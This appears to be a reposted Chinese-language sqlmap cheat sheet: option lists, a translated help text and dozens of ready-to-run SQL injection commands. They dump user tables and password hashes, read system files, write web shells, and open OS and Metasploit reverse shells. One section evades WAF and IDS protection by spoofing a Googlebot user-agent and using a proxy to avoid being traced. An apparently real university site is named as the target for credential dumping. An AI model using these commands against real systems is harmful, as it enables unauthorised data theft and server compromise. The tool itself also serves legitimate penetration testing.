sqlmap命令詳解


 

cookie注入:sqlmap.py -u 注入點 --cookie "參數" --tables --level 2

POST登錄框注入:sqlmap.py -r 從文件讀取數據 -p 指定的參數 --tables

sqlmap.py -u 登錄的地址 --forms 自動判斷注入

sqlmap.py -u 登錄的地址 --data "指定參數"

繞過waf防火牆:sqlmap.py -u 注入點 -v 3 --dbs --batch --tamper space2morehash.py,space2hash.py,base64encode.py,charencode.py

 

-u #注入點

-g 谷歌搜索

-f #指紋判別數據庫類型

-b #獲取數據庫版本信息

-p #指定可測試的參數(?page=1&id=2 -p “page,id”)

-D “” #指定數據庫名

-T “” #指定表名

-C “” #指定字段

-s “” #保存注入過程到一個文件,還可中斷,下次恢復在注入(保存:-s “xx.log”  恢復:-s “xx.log” –resume)

–columns #列出字段

–current-user #獲取當前用戶名稱

–current-db #獲取當前數據庫名稱

–users #列數據庫所有用戶

–passwords #數據庫用戶所有密碼

–privileges #查看用戶權限(–privileges -U root)

-U #指定數據庫用戶

–dbs #列出所有數據庫

–tables -D “” #列出指定數據庫中的表

–columns -T “user” -D “mysql” #列出mysql數據庫中的user表的所有字段

–dump-all #列出所有數據庫所有表

–exclude-sysdbs #只列出用戶自己新建的數據庫和表

–dump -T “” -D “” -C “” #列出指定數據庫的表的字段的數據(–dump -T users -D master -C surname)

–dump -T “” -D “” –start 2 –top 4 # 列出指定數據庫的表的2-4字段的數據

–dbms #指定數據庫(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)

–os #指定系統(Linux,Windows)

--sql -shell 寫shell

--delay 延遲的時間

--safe-freq 次數

-v #詳細的等級(0-6)

0:只顯示Python的回溯,錯誤和關鍵消息。

1:顯示信息和警告消息。

2:顯示調試消息。

3:有效載荷注入。

4:顯示HTTP請求。

5:顯示HTTP響應頭。

6:顯示HTTP響應頁面的內容

–privileges #查看權限

–is-dba #是否是數據庫管理員

–roles #枚舉數據庫用戶角色

–udf-inject #導入用戶自定義函數(獲取系統權限)

–union-check #是否支持union 注入

–union-cols #union 查詢表記錄

–union-test #union 語句測試

–union-use #采用union 注入

–union-tech orderby #union配合order by

–method “POST” –data “” #POST方式提交數據(–method “POST” –data “page=1&id=2″)

–cookie “用;號分開” #cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)

–referer “” #使用referer欺騙(–referer “http://www.baidu.com”)

–user-agent “” #自定義user-agent

–proxy “http://127.0.0.1:8118″ #代理注入

–string “” #指定關鍵詞

–threads    #采用多線程(–threads 3)

–sql-shell #執行指定sql命令

–sql-query #執行指定的sql語句(–sql-query “SELECT password FROM mysql.user WHERE user = ‘root’ LIMIT 0, 1″ )

–file-read #讀取指定文件

–file-write #寫入本地文件(–file-write /test/test.txt –file-dest /var/www/html/1.txt;將本地的test.txt文件寫入到目標的1.txt)

–file-dest #要寫入的文件絕對路徑

–os-cmd=id #執行系統命令

–os-shell #系統交互shell

–os-pwn #反彈shell(–os-pwn –msf-path=/opt/framework/msf3/)

–msf-path= #matesploit絕對路徑(–msf-path=/opt/framework/msf3/)

–os-smbrelay #

–os-bof #

–reg-read #讀取win系統注冊表

–priv-esc #

–time-sec= #延遲設置 默認–time-sec=5 為5秒

-p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)” #指定user-agent注入

–eta #盲注

/pentest/database/sqlmap/txt/

common-columns.txt  字段字典

common-outputs.txt

common-tables.txt 表字典

keywords.txt

oracle-default-passwords.txt

user-agents.txt

wordlist.txt

 

1)判斷當前用戶是否是dba

python sqlmap.py -u "url" --is-dba -v 1

2)--users:列出數據庫管理系統用戶

python sqlmap.py -u "url" --users -v 0

3)--passwords:數據庫用戶密碼(hash)

python sqlmap.py -u "url" --passwords -v 0

python sqlmap.py -u "url" --passwords -U sa -v 0

4)查看用戶權限

python sqlmap.py -u "url" --privileges -v 0

python sqlmap.py -u "url" --privileges -U postgres -v 0

5)--dbs可以利用的數據庫

python sqlmap.py -u "url" --dbs -v 0

6)--tables列數據庫表

python sqlmap.py -u "url" --tables -D "information_scheam"

-D:指定數據名稱

7)--columns 列出表中的列名

python sqlmap.py -u "url" --columns -T "user" -D "mysql" -v 1

-T:指定表名,-D:指定庫名

8)--dump列表中指定列的內容

python sqlmap.py -u "url" --dump -T "users" -D "testdb"

-C:可以指定字段

指定列的范圍為2到4

python sqlmap.py -u "url" --dump -T "users" -D "testdb" --start 2 --stop 4 -v 0

9)--dumap-all列出所有數據庫,所有表內容

python sqlmap.py -u "url" --dump-all -v 0

只列出用戶自己新建的數據庫和表的內容

python sqlmap.py -u "url" --dump-all --exclude-sysdbs -v 0

10)--file讀取文件內容[load_file()函數]

python sqlmap.py -u "url" --file /etc/password

11)執行SQL

python sqlmap.py -u "url" --sql-shell

12)-p 指定參數

python sqlmap.py -u "url" -v 1 -p "id"

-p可以指定多參數-p "cat,id"

13)POST提交

python sqlmap.py -u "url" --method POST --data "id=1"

14)COOKIE提交

python sqlmap.py -u "url" --cookie "id=1" -v 1

cookie值可以由TamperData抓取

15)refer欺騙

python sqlmap.py -u "url" --refer "url" -v 3

16)使用自定義user-agent或者user-agents.txt

python sqlmap.py -u "url" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3

python sqlmap.py -u "url" -v 1 -a "./txt/user-agents.txt"

17)使用多線程猜解

python sqlmap.py -u "url" -v 1 --current-user --threads 3

18)指定數據庫,繞過SQLMAP的自動檢測

python sqlmap.py -u "url" -v 2 --dbms "PostgreSQL"

19)指定操作系統繞過SQLMAP自動檢測

python sqlmap.py -u "url" -v 2 --os "Windows"

20)--prefix and --postfix自定義payload

python sqlmap.py -u "url" -v 3 -p "id" --prefix "'" --postfix "and 'test'='test"

21)union注入測試

python sqlmap.py -u "url" --union-test -v -1

22)配合order by

python sqlmap.py -u "url" --union-test --union-tech orderby -v 1

23)python sqlmap.py -u "url" -v 1 --union-use --banner

24)python sqlmap.py -u "url" -v 5 --union-use --current-user

25)python sqlmap.py -u "url" -v 1 --union-use --dbs

 

常用語句

1.

./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -f -b –current-user –current-db –users –passwords –dbs -v 0

2.

./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -b –passwords -U root –union-use -v 2

3.

./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -b –dump -T users -C username -D userdb –start 2 –stop 3 -v 2

4.

./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -b –dump -C “user,pass” -v 1 –exclude-sysdbs

5.

./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -b –sql-shell -v 2

6.

./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -b –file-read “c:\boot.ini” -v 2

7.

./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -b –file-write /test/test.txt –file-dest /var/www/html/1.txt -v 2

8.

./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -b –os-cmd “id” -v 1

9.

./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -b –os-shell –union-use -v 2

10.

./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -b –os-pwn –msf-path=/opt/framework/msf3 –priv-esc -v 1

11.

./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -b –os-pwn –msf-path=/opt/framework/msf3 -v 1

12.

./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -b –os-bof –msf-path=/opt/framework/msf3 -v 1

13.

./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 –reg-add –reg-key=”HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap” –reg-value=Test –reg-type=REG_SZ –reg-data=1

14.

./sqlmap.py -u http://www.evil0x.com/ test.php?p=2 -b –eta

15.

./sqlmap.py -u “http://www.evil0x.com/ sqlmap/mysql/get_str_brackets.php?id=1″ -p id –prefix “‘)” –suffix “AND (‘abc’='abc”

16.

./sqlmap.py -u “http://www.evil0x.com/ sqlmap/mysql/basic/get_int.php?id=1″ –auth-type Basic –auth-cred “testuser:testpass”

17.

./sqlmap.py -l burp.log –scope=”(www)?\.target\.(com|net|org)”

18.

./sqlmap.py -u “http://www.evil0x.com/ sqlmap/mysql/get_int.php?id=1″ –tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

19.

./sqlmap.py -u “http://www.evil0x.com/ sqlmap/mssql/get_int.php?id=1″ –sql-query “SELECT ‘foo’” -v 1

20.

./sqlmap.py -u “http://www.evil0x.com/ mysql/get_int_4.php?id=1″ –common-tables -D testdb –banner

簡單的注入流程

1.讀取數據庫版本,當前用戶,當前數據庫

sqlmap -u http://www.evil0x.com/ test.php?p=2 -f -b –current-user –current-db -v 1

2.判斷當前數據庫用戶權限

sqlmap -u http://www.evil0x.com/ test.php?p=2 –privileges -U 用戶名 -v 1

sqlmap -u http://www.evil0x.com/ test.php?p=2 –is-dba -U 用戶名 -v 1

3.讀取所有數據庫用戶或指定數據庫用戶的密碼

sqlmap -u http://www.evil0x.com/ test.php?p=2 –users –passwords -v 2

sqlmap -u http://www.evil0x.com/ test.php?p=2 –passwords -U root -v 2

4.獲取所有數據庫

sqlmap -u http://www.evil0x.com/ test.php?p=2 –dbs -v 2

5.獲取指定數據庫中的所有表

sqlmap -u http://www.evil0x.com/ test.php?p=2 –tables -D mysql -v 2

6.獲取指定數據庫名中指定表的字段

sqlmap -u http://www.evil0x.com/ test.php?p=2 –columns -D mysql -T users -v 2

7.獲取指定數據庫名中指定表中指定字段的數據

sqlmap -u http://www.evil0x.com/ test.php?p=2 –dump -D mysql -T users -C “username,password” -s “sqlnmapdb.log” -v 2

8.file-read讀取web文件

sqlmap -u http://www.evil0x.com/ test.php?p=2 –file-read “/etc/passwd” -v 2

9.file-write寫入文件到web

sqlmap -u http://www.evil0x.com/ test.php?p=2 –file-write /localhost/mm.php –file-dest

./sqlmap.py -u "http://www.nxadmin.com/sql-injection.php?id=1" –file-write /test/test.txt –file-dest /var/www/html/1.txt

將本地的test.txt寫入到站點服務器的html目錄下。

 

 

 

 

 

 

 

python sqlmap/sqlmap.py -help

 

Options(選項):

--version 顯示程序的版本號並退出

-h, --help 顯示此幫助消息並退出

-v VERBOSE 詳細級別:0-6(默認為1)

 

Target(目標):

以下至少需要設置其中一個選項,設置目標URL。

 

-d DIRECT 直接連接到數據庫。

-u URL, --url=URL 目標URL。

-l LIST 從Burp或WebScarab代理的日志中解析目標。

-r REQUESTFILE 從一個文件中載入HTTP請求。

-g GOOGLEDORK 處理Google dork的結果作為目標URL。

-c CONFIGFILE 從INI配置文件中加載選項。

 

Request(請求):

這些選項可以用來指定如何連接到目標URL。

 

--data=DATA 通過POST發送的數據字符串

--cookie=COOKIE HTTP Cookie頭

--cookie-urlencode URL 編碼生成的cookie注入

--drop-set-cookie 忽略響應的Set - Cookie頭信息

--user-agent=AGENT 指定 HTTP User - Agent頭

--random-agent 使用隨機選定的HTTP User - Agent頭

--referer=REFERER 指定 HTTP Referer頭

--headers=HEADERS 換行分開,加入其他的HTTP頭

--auth-type=ATYPE HTTP身份驗證類型(基本,摘要或NTLM)(Basic, Digest or NTLM)

--auth-cred=ACRED HTTP身份驗證憑據(用戶名:密碼)

--auth-cert=ACERT HTTP認證證書(key_file,cert_file)

--proxy=PROXY 使用HTTP代理連接到目標URL

--proxy-cred=PCRED HTTP代理身份驗證憑據(用戶名:密碼)

--ignore-proxy 忽略系統默認的HTTP代理

--delay=DELAY 在每個HTTP請求之間的延遲時間,單位為秒

--timeout=TIMEOUT 等待連接超時的時間(默認為30秒)

--retries=RETRIES 連接超時后重新連接的時間(默認3)

--scope=SCOPE 從所提供的代理日志中過濾器目標的正則表達式

--safe-url=SAFURL 在測試過程中經常訪問的url地址

--safe-freq=SAFREQ 兩次訪問之間測試請求,給出安全的URL

 

Optimization(優化):

這些選項可用於優化SqlMap的性能。

 

-o 開啟所有優化開關

--predict-output 預測常見的查詢輸出

--keep-alive 使用持久的HTTP(S)連接

--null-connection 從沒有實際的HTTP響應體中檢索頁面長度

--threads=THREADS 最大的HTTP(S)請求並發量(默認為1)

 

Injection(注入):

這些選項可以用來指定測試哪些參數, 提供自定義的注入payloads和可選篡改腳本。

 

-p TESTPARAMETER 可測試的參數(S)

--dbms=DBMS 強制后端的DBMS為此值

--os=OS 強制后端的DBMS操作系統為這個值

--prefix=PREFIX 注入payload字符串前綴

--suffix=SUFFIX 注入payload字符串后綴

--tamper=TAMPER 使用給定的腳本(S)篡改注入數據

 

Detection(檢測):

這些選項可以用來指定在SQL盲注時如何解析和比較HTTP響應頁面的內容。

 

--level=LEVEL 執行測試的等級(1-5,默認為1)

--risk=RISK 執行測試的風險(0-3,默認為1)

--string=STRING 查詢時有效時在頁面匹配字符串

--regexp=REGEXP 查詢時有效時在頁面匹配正則表達式

--text-only 僅基於在文本內容比較網頁

 

Techniques(技巧):

這些選項可用於調整具體的SQL注入測試。

 

--technique=TECH SQL注入技術測試(默認BEUST)

--time-sec=TIMESEC DBMS響應的延遲時間(默認為5秒)

--union-cols=UCOLS 定列范圍用於測試UNION查詢注入

--union-char=UCHAR 用於暴力猜解列數的字符

 

Fingerprint(指紋):

-f, --fingerprint 執行檢查廣泛的DBMS版本指紋

 

Enumeration(枚舉):

這些選項可以用來列舉后端數據庫管理系統的信息、表中的結構和數據。此外,您還可以運行您自己

的SQL語句。

-b, --banner 檢索數據庫管理系統的標識

--current-user 檢索數據庫管理系統當前用戶

--current-db 檢索數據庫管理系統當前數據庫

--is-dba 檢測DBMS當前用戶是否DBA

--users 枚舉數據庫管理系統用戶

--passwords 枚舉數據庫管理系統用戶密碼哈希

--privileges 枚舉數據庫管理系統用戶的權限

--roles 枚舉數據庫管理系統用戶的角色

--dbs 枚舉數據庫管理系統數據庫

--tables 枚舉的DBMS數據庫中的表

--columns 枚舉DBMS數據庫表列

--dump 轉儲數據庫管理系統的數據庫中的表項

--dump-all 轉儲所有的DBMS數據庫表中的條目

--search 搜索列(S),表(S)和/或數據庫名稱(S)

-D DB 要進行枚舉的數據庫名

-T TBL 要進行枚舉的數據庫表

-C COL 要進行枚舉的數據庫列

-U USER 用來進行枚舉的數據庫用戶

--exclude-sysdbs 枚舉表時排除系統數據庫

--start=LIMITSTART 第一個查詢輸出進入檢索

--stop=LIMITSTOP 最后查詢的輸出進入檢索

--first=FIRSTCHAR 第一個查詢輸出字的字符檢索

--last=LASTCHAR 最后查詢的輸出字字符檢索

--sql-query=QUERY 要執行的SQL語句

--sql-shell 提示交互式SQL的shell

 

Brute force(蠻力):

這些選項可以被用來運行蠻力檢查。

 

--common-tables 檢查存在共同表

--common-columns 檢查存在共同列

 

User-defined function injection(用戶自定義函數注入):

這些選項可以用來創建用戶自定義函數。

 

--udf-inject 注入用戶自定義函數

--shared-lib=SHLIB 共享庫的本地路徑

 

File system access(訪問文件系統):

這些選項可以被用來訪問后端數據庫管理系統的底層文件系統。

 

--file-read=RFILE 從后端的數據庫管理系統文件系統讀取文件

--file-write=WFILE 編輯后端的數據庫管理系統文件系統上的本地文件

--file-dest=DFILE 后端的數據庫管理系統寫入文件的絕對路徑

 

Operating system access(操作系統訪問):

這些選項可以用於訪問后端數據庫管理系統的底層操作系統。

 

--os-cmd=OSCMD 執行操作系統命令

--os-shell 交互式的操作系統的shell

--os-pwn 獲取一個OOB shell,meterpreter或VNC

--os-smbrelay 一鍵獲取一個OOB shell,meterpreter或VNC

--os-bof 存儲過程緩沖區溢出利用

--priv-esc 數據庫進程用戶權限提升

--msf-path=MSFPATH Metasploit Framework本地的安裝路徑

--tmp-path=TMPPATH 遠程臨時文件目錄的絕對路徑

 

Windows注冊表訪問:

這些選項可以被用來訪問后端數據庫管理系統Windows注冊表。

 

--reg-read 讀一個Windows注冊表項值

--reg-add 寫一個Windows注冊表項值數據

--reg-del 刪除Windows注冊表鍵值

--reg-key=REGKEY Windows注冊表鍵

--reg-value=REGVAL Windows注冊表項值

--reg-data=REGDATA Windows注冊表鍵值數據

--reg-type=REGTYPE Windows注冊表項值類型

 

General(一般):

 

這些選項可以用來設置一些一般的工作參數。

-t TRAFFICFILE 記錄所有HTTP流量到一個文本文件中

-s SESSIONFILE 保存和恢復檢索會話文件的所有數據

--flush-session 刷新當前目標的會話文件

--fresh-queries 忽略在會話文件中存儲的查詢結果

--eta 顯示每個輸出的預計到達時間

--update 更新SqlMap

--save file保存選項到INI配置文件

--batch 從不詢問用戶輸入,使用所有默認配置。

 

Miscellaneous(雜項):

--beep 發現SQL注入時提醒

--check-payload IDS對注入payloads的檢測測試

--cleanup SqlMap具體的UDF和表清理DBMS

--forms 對目標URL的解析和測試形式

--gpage=GOOGLEPAGE 從指定的頁碼使用谷歌dork結果

--page-rank Google dork結果顯示網頁排名(PR)

--parse-errors 從響應頁面解析數據庫管理系統的錯誤消息

--replicate 復制轉儲的數據到一個sqlite3數據庫

--tor 使用默認的Tor(Vidalia/ Privoxy/ Polipo)代理地址

--wizard 給初級用戶的簡單向導界面

 

 

 

 

 

 

 

 

 

注入點:http://testasp.vulnweb.com/Login.asp

幾種注入方式:./sqlmap.py -r search-test.txt -p tfUPass

sqlmap -u http://testasp.vulnweb.com/Login.asp --forms

sqlmap.py -u http://testasp.vulnweb.com/Login.asp --data "tfUName=1&tfUPass=1"

 

注入點:http://jxjy.bfa.edu.cn/bm/newslist.php?cid=7

 

獲取所有數據庫名稱

sqlmap.py -u http://jxjy.bfa.edu.cn/bm/newslist.php?cid=7 --dbs

 

獲取當前數據庫名稱

sqlmap.py -u http://jxjy.bfa.edu.cn/bm/newslist.php?cid=7 --current-db

 

獲取當前用戶名稱

sqlmap.py -u http://jxjy.bfa.edu.cn/bm/newslist.php?cid=7 --current-user

 

獲取全部表段

sqlmap.py -u http://jxjy.bfa.edu.cn/bm/newslist.php?cid=7 --tables -D 數據庫名稱

 

獲取全部字段

sqlmap.py -u http://jxjy.bfa.edu.cn/bm/newslist.php?cid=7 --columns -T 表段 -D 數據庫名稱

 

獲取字段內容

sqlmap.py -u http://jxjy.bfa.edu.cn/bm/newslist.php?cid=7 --dump -C username,password -T 表段 -D 數據庫名稱

 

1)判斷當前用戶是否是dba

sqlmap.py -u 網址 --is-dba -v 1

2)--users:列出數據庫管理系統用戶

sqlmap.py -u 網址 --users -v 0

3)--passwords:數據庫用戶密碼(hash)

sqlmap.py -u 網址 --passwords -v 0

sqlmap.py -u 網址 --passwords -U sa -v 0

4)查看用戶權限

sqlmap.py -u 網址 --privileges -v 0

sqlmap.py -u 網址 --privileges -U postgres -v 0

5)--dbs可以利用的數據庫

sqlmap.py -u 網址 --dbs -v 0

6)--tables列數據庫表

sqlmap.py -u 網址 --tables -D "information_scheam"

-D:指定數據名稱

7)--columns 列出表中的列名

sqlmap.py -u 網址 --columns -T "user" -D "mysql" -v 1

-T:指定表名,-D:指定庫名

8)--dump列表中指定列的內容

sqlmap.py -u 網址 --dump -T "users" -D "testdb"

-C:可以指定字段

指定列的范圍為2到4

sqlmap.py -u 網址 --dump -T "users" -D "testdb" --start 2 --stop 4 -v 0

9)--dumap-all列出所有數據庫,所有表內容

sqlmap.py -u 網址 --dump-all -v 0

 

 

sqlmap注入技巧-繞過WAF和IDS

 

剛剛群里有個哥們發了個注入點,有IDS防火牆,請求過於頻繁就會封殺IP

有個思路,拋磚引玉,各位大牛請輕拍

sqlmap.py --proxy http://127.0.0.1:8087 -u 你懂得 -v 3 –dbms “MySQL” --tamper “space2morehash.py” --referer“http://www.google.com” --user-agent "Googlebot/2.1 (+http://www.googlebot.com/bot.html)"

參數解釋 :

--proxy //這個是代理的IP,你不用代理不用VPN就不怕被查水表么。。。

-u //這個不懂的面壁去

-v 3 //這個是注入的詳細級別1-5

--dbms "MySQL" //指定數據庫

--tamper “space2morehash.py” //載入繞過WAF防火牆的腳本

--referer“http://www.google.com” //模擬來源,就是從哪個網頁跳轉過來的。如果不懂可以谷歌referer

--user-agent "Googlebot/2.1 (+http://www.googlebot.com/bot.html)" 模擬谷歌蜘蛛,一般都不會限制蜘蛛爬網站。

 

更多命令運用:

http://wenku.baidu.com/link?url=eMzrblqUDfXDaosGNkAKnthsT4AA79BEgd5XUnD624yqefBbHaqZk-lVx3pns2M6tApuP7bbNYpPTHGBgiCxdutlUKFGtdmJj80usI2nBuS

 

sqlmap注入方式普及

0.詳細參數詳解:http://pan.baidu.com/share/link?shareid=503193&uk=3223979763

1. 基礎用法:

./sqlmap.py -u “注入地址” -v 1 --dbs // 列舉數據庫

./sqlmap.py -u “注入地址” -v 1 --current-db // 當前數據庫

./sqlmap.py -u “注入地址” -v 1 --users // 列數據庫用戶

./sqlmap.py -u “注入地址” -v 1 --current-user // 當前用戶

./sqlmap.py -u “注入地址” -v 1 --tables -D “數據庫” // 列舉數據庫的表名

./sqlmap.py -u “注入地址” -v 1 --columns -T “表名” -D “數據庫” // 獲取表的列名

./sqlmap.py -u “注入地址” -v 1 --dump -C “字段,字段” -T “表名” -D “數據庫” // 獲取表中的數據,包含列

已經開始拖庫了,SQLMAP是非常人性化的,它會將獲取的數據存儲sqlmap/output/中、、、

2. sqlmap post注入

我們在使用Sqlmap進行post型注入時,

經常會出現請求遺漏導致注入失敗的情況。

這里分享一個小技巧,即結合burpsuite來使用sqlmap,

用這種方法進行post注入測試會更准確,操作起來也非常容易。

1. 瀏覽器打開目標地址http:// www.2cto.com /Login.asp

2. 配置burp代理(127.0.0.1:8080)以攔截請求

3. 點擊login表單的submit按鈕

4. 如下圖,這時候Burp會攔截到了我們的登錄POST請求

5. 把這個post請求復制為txt, 我這命名為search-test.txt 然后把它放至sqlmap目錄下

6. 運行sqlmap並使用如下命令:

./sqlmap.py -r search-test.txt -p tfUPass

這里參數-r 是讓sqlmap加載我們的post請求rsearch-test.txt,

而-p 大家應該比較熟悉,指定注入用的參數。

3,sqlmap cookies注入

sqlmap.py -u "http://127.0.0.1/base.php" --cookies "id=1" --dbs --level 2

2.默認情況下SQLMAP只支持GET/POST參數的注入測試,但是當使用--level 參數且數值>=2的時候也會檢查cookie時面的參數,當>=3的時候將檢查User-agent和Referer,那么這就很簡單了,我們直接在原有的基礎上面加上 --level 2 即可

利用sqlmap cookies注入突破用戶登錄繼續注入

先把用戶登陸的cookie拿到吧,

在收藏夾添加一個鏈接cookies屬性:

名字自己取

javascript:alert(document.cookie),,需要獲取當前cookie的時候,

直接點一下這個鏈接,然后復制一下彈出對話框

里的cookie值就搞定了

sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid --dbms mssql --cookie="info=username=test"

-p是指指定參數注入

4. sqlmap遇到url重寫的注入

哪里存在注入就加上 * 號

1

./sqlmap.py -u "http://www.cunlide.com/id1/1*/id2/2"

5.sqlmap 編碼繞waf注入

./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper "space2morehash.py"

在sqlmap 的 tamper目錄下有很多space2morehash.py 編碼腳本自行加載

 

sqlmap讀文件

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--file-read “/etc/passwd"

sqlmap寫文件

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--file-write /localhost/mm.php --file-dest/var/www/html/xx.php -v 2

 

sqlmap分段脫褲

sqlmap.py -u url -D "data" -T "tables" -C "username,password,email" --dump --threads=5 --start=1 --stop=5000

其他基礎:

sqlmap -u "http://url/news?id=1" --level=3 --smart --dbms "Mysql" --current-user #獲取當前用戶名稱

sqlmap -u "http://www.xxoo.com/news?id=1" --level=3 --smart --dbms "Mysql" --current-db #獲取當前數據庫名稱

sqlmap -u "http://www.xxoo.com/news?id=1" --level=3 --smart --dbms "Mysql"--tables -D "db_name" #列表名

sqlmap -u "http://url/news?id=1" --level=3 --smart --dbms "Mysql" --columns -T "tablename" users-D "db_name" -v 0 #列字段

sqlmap -u "http://url/news?id=1" --level=3 --smart --dbms "Mysql" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #獲取字段內容

 

******************信息獲取******************

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --users #列數據庫用戶

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --dbs#列數據庫

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--passwords #數據庫用戶密碼

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--passwords-U root -v 0 #列出指定用戶數據庫密碼

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --dump-all -v 0 #列出所有數據庫所有表

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--privileges #查看權限

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--privileges -U root #查看指定用戶權限

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --is-dba -v 1 #是否是數據庫管理員

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --roles #枚舉數據庫用戶角色

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--udf-inject #導入用戶自定義函數(獲取系統權限!)

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--dump-all --exclude-sysdbs -v 0 #列出當前庫所有表

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --union-check #是否支持union 注入

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--union-cols #union 查詢表記錄

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --union-test #union 語句測試

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --union-use --banner #采用union 注入

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--union-test --union-tech orderby #union 配合 order by

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--method "POST" -- data "id=1&cat=2" #post注入

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--cookie "COOKIE_VALUE" #cookie注入

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"-b #獲取banner信息

sqlmap -u "http://url/news?id=1" --level=3 --smart-v 1 -f #指紋判別數據庫類型

sqlmap -u "http://url/news?id=1" --level=3 --smart--proxy"http://127.0.0.1:8118" #代理注入

sqlmap -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE" #指定關鍵詞

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--sql-shell #執行指定sql命令

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--os-cmd=whoami #執行系統命令

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--os-shell #系統交互shell

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--os-pwn #反彈shell

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--reg-read #讀取win系統注冊表

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --dbs-o "sqlmap.log" #保存進度

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --dbs -o "sqlmap.log" --resume #恢復已保存進度

./sqlmap.py -u “http://www.91ri.org/ id1/1*/id2/2″

"Show.asp" --cookie "id=9" --table --level 2

--forms

--data "data"

--delay 0.5

--safe-freq 25

-v 3 --dbs --batch --tamper "base64encode.py"

sqlmap.py -u url -D "data" -T "tables" -C "username,password,email" --dump-all -v 0


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM